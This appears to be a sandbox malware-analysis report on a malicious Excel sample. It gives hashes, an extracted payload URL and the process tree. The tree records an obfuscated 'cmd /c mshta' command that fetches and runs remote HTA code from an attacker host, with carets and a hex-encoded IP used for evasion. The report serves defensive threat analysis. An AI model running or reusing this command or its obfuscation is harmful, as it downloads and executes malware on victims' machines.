Analysis
-
max time kernel
67s -
max time network
34s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
11-11-2024 18:00
Behavioral task
behavioral1
Sample
9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d.xls
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d.xls
Resource
win10v2004-20241007-en
General
-
Target
9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d.xls
-
Size
102KB
-
MD5
a8c9638fbe2369dcea2c111939094feb
-
SHA1
f14b244c6972c94a63468704f6bdb0c9da38eeef
-
SHA256
9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d
-
SHA512
209382608340a289e98988540e5798abce794c29f7144789a916b396d61a4238ac6eb5a4d7c7be750577b83f32b42aaa1dffdc8a0623aad06d3b83c9e89a2e0b
-
SSDEEP
3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK
Malware Config
Extracted
http://185.7.214.7/fer/fe3.html
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2692 2528 cmd.exe 28 -
Blocklisted process makes network request 2 IoCs
flow pid Process 3 2812 mshta.exe 7 2812 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2528 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2528 EXCEL.EXE 2528 EXCEL.EXE 2528 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2528 wrote to memory of 2692 2528 EXCEL.EXE 29 PID 2528 wrote to memory of 2692 2528 EXCEL.EXE 29 PID 2528 wrote to memory of 2692 2528 EXCEL.EXE 29 PID 2528 wrote to memory of 2692 2528 EXCEL.EXE 29 PID 2692 wrote to memory of 2812 2692 cmd.exe 31 PID 2692 wrote to memory of 2812 2692 cmd.exe 31 PID 2692 wrote to memory of 2812 2692 cmd.exe 31 PID 2692 wrote to memory of 2812 2692 cmd.exe 31
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Windows\SysWOW64\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\SysWOW64\mshta.exemshta http://0xb907d607/fer/fe3.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2812
-
-